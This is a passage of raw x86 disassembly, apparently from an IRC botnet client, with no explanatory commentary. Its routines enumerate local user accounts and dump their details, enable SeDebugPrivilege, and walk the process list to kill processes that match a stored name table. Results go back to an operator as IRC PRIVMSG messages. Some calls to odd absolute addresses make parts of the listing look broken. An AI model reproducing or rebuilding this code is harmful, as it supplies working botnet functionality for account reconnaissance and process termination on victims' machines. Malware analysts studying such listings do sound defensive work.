[esi+esi*2] push ebx mov esi, offset dword_4DAE20 push off_4389D8[eax*4] push offset unk_439158 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: ; CODE XREF: sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DAE20 lea eax, [eax+eax*2] push off_4389D8[eax*4] push offset unk_439130 push esi call sub_41B886 add esp, 0Ch loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CAE7C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CAE6C pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CAFFC test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_4391A8 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB034 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CAF04 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439398 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_439364 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB034 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB034 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DABC0 call sub_41B886 pop ecx mov eax, offset dword_4DABC0 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26B0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CAFB4 test eax, eax jnz short loc_419623 mov esi, offset dword_4DA9BC push offset unk_4396CC push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DA9BC push eax push offset dword_4396A0 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 2700522h push eax call dword_4CAF88 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CAF60 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CB010 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] nop call near ptr 26508C8h mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CAFC4, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CAFA8, ebx jz loc_4198BB cmp dword_4CAEB8, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CAFC4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CAFA8 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CAEB8 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_4396F8 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax nop call near ptr 282111Bh test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439758 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax call near ptr 26F0C38h nop test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CAFC4 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CAE64 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CAEB8 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi nop call near ptr 26F0C38h test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4398F8 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_4398D4 jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_4398B0 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26D0000h pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 2670101h nop mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi nop call near ptr 26F0C38h test eax, eax jnz short loc_4199FB push esi xor edi, edi nop call near ptr 26508C8h loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 4396F4h, 72E7E890h, 0E3EB0224h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB228 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB230 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB224 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB22C call near ptr 26E0000h nop test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D158 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h nop call near ptr 2660D05h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFF4 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB234 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB228 nop call near ptr 2821A54h test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB224 nop call near ptr 282160Ch test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah call near ptr 2660D05h nop jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB228 nop call near ptr 26F0000h test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB268 call 